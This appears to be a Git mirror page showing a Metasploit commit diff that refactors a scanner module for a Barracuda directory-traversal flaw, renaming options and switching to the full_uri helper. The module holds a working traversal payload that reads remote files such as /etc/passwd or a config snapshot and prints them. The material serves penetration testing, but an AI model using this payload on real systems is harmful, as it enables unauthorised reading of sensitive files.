infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Fix barracuda_directory_traversal for full_uri

bug/bundler_fix
William Vu 2015-11-25 11:18:17 -06:00
parent 7a5f6495d0
commit 035882702a
1 changed files with 11 additions and 20 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

31
modules/auxiliary/scanner/http/barracuda_directory_traversal.rb
View File

@ -38,25 +38,16 @@ class Metasploit3 < Msf::Auxiliary
[
Opt::RPORT(8000),
OptString.new('FILE', [ true, "Define the remote file to view, ex:/etc/passwd", '/mail/snapshot/config.snapshot']),
OptString.new('URI', [true, 'Barracuda vulnerable URI path', '/cgi-mod/view_help.cgi']),
OptString.new('TARGETURI', [true, 'Barracuda vulnerable URI path', '/cgi-mod/view_help.cgi']),
], self.class)
end
def target_url
uri = normalize_uri(datastore['URI'])
proto = 'http'
if rport == 443 || ssl
proto = 'https'
end
"#{proto}://#{vhost}:#{rport}#{uri}"
end
def run_host(ip)
uri = normalize_uri(datastore['URI'])
uri = normalize_uri(target_uri.path)
file = datastore['FILE']
payload = "?locale=/../../../../../../..#{file}%00"
print_status("#{target_url} - Barracuda - Checking if remote server is vulnerable")
print_status("#{full_uri} - Barracuda - Checking if remote server is vulnerable")
res = send_request_raw(
{
@ -65,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary
}, 25)
if res.nil?
print_error("#{target_url} - Connection timed out")
print_error("#{full_uri} - Connection timed out")
return
end
@ -77,21 +68,21 @@ class Metasploit3 < Msf::Auxiliary
if html.length > 100
file_data = html.gsub(%r{</?[^>]+?>}, '')
print_good("#{target_url} - Barracuda - Vulnerable")
print_good("#{target_url} - Barracuda - File Output:\n" + file_data + "\n")
print_good("#{full_uri} - Barracuda - Vulnerable")
print_good("#{full_uri} - Barracuda - File Output:\n" + file_data + "\n")
else
print_error("#{target_url} - Barracuda - Not vulnerable: HTML too short?")
print_error("#{full_uri} - Barracuda - Not vulnerable: HTML too short?")
end
elsif res.body =~ /help_page/
print_error("#{target_url} - Barracuda - Not vulnerable: Patched?")
print_error("#{full_uri} - Barracuda - Not vulnerable: Patched?")
else
print_error("#{target_url} - Barracuda - File not found or permission denied")
print_error("#{full_uri} - Barracuda - File not found or permission denied")
end
else
print_error("#{target_url} - Barracuda - No HTML was returned")
print_error("#{full_uri} - Barracuda - No HTML was returned")
end
else
print_error("#{target_url} - Barracuda - Unrecognized #{res.code} response")
print_error("#{full_uri} - Barracuda - Unrecognized #{res.code} response")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout